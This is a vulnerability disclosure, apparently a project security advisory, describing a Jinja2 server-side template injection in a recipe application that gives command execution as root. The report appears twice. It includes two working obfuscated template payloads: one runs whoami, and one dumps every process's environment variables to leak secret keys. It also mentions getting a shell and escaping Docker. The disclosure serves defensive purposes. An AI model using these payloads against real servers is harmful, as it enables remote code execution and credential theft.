Summary
A Jinja2 SSTI vulnerability allows any user to execute commands on the server. In the case of the provided Docker Compose file as root.
Details
Affected Code:
|
return _('Could not parse template code.') + ' Error: Template Syntax broken' |
User input is put unsanitized into the template.
The exploitation wasn't as simple as copy pasting an existing payload from a cheatsheet, because the markdown conversion renders some special characters useless, such as _ * ` [foo](bar). However after a bit of tinkering I was able to create a working POC:
PoC
When creating a recipe, a user can use Jinja2 Template Syntax in the instructions. This can be exploited as follows:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}
If the recipe is viewed, the result of the command whoami is shown. In the case of the dockerfile, it's the root user:
Now we can enumerate the filesystem, get a shell or even try do a docker escape...
Another command which leaks secret keys:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('for e in $(ls /proc/*/environ); do echo; echo $e; xargs -0 -a $e; done',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}
Impact
Command Execution on the Server. Potentially full compromise of the server.
m10x Reporter
Summary
A Jinja2 SSTI vulnerability allows any user to execute commands on the server. In the case of the provided Docker Compose file as root.
Details
Affected Code:
recipes/cookbook/helper/template_helper.py
Line 95 in 4f9bff2
User input is put unsanitized into the template.
The exploitation wasn't as simple as copy pasting an existing payload from a cheatsheet, because the markdown conversion renders some special characters useless, such as
_ * ` [foo](bar). However after a bit of tinkering I was able to create a working POC:PoC
When creating a recipe, a user can use Jinja2 Template Syntax in the instructions. This can be exploited as follows:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}If the recipe is viewed, the result of the command
whoamiis shown. In the case of the dockerfile, it's the root user:Now we can enumerate the filesystem, get a shell or even try do a docker escape...
Another command which leaks secret keys:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('for e in $(ls /proc/*/environ); do echo; echo $e; xargs -0 -a $e; done',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}Impact
Command Execution on the Server. Potentially full compromise of the server.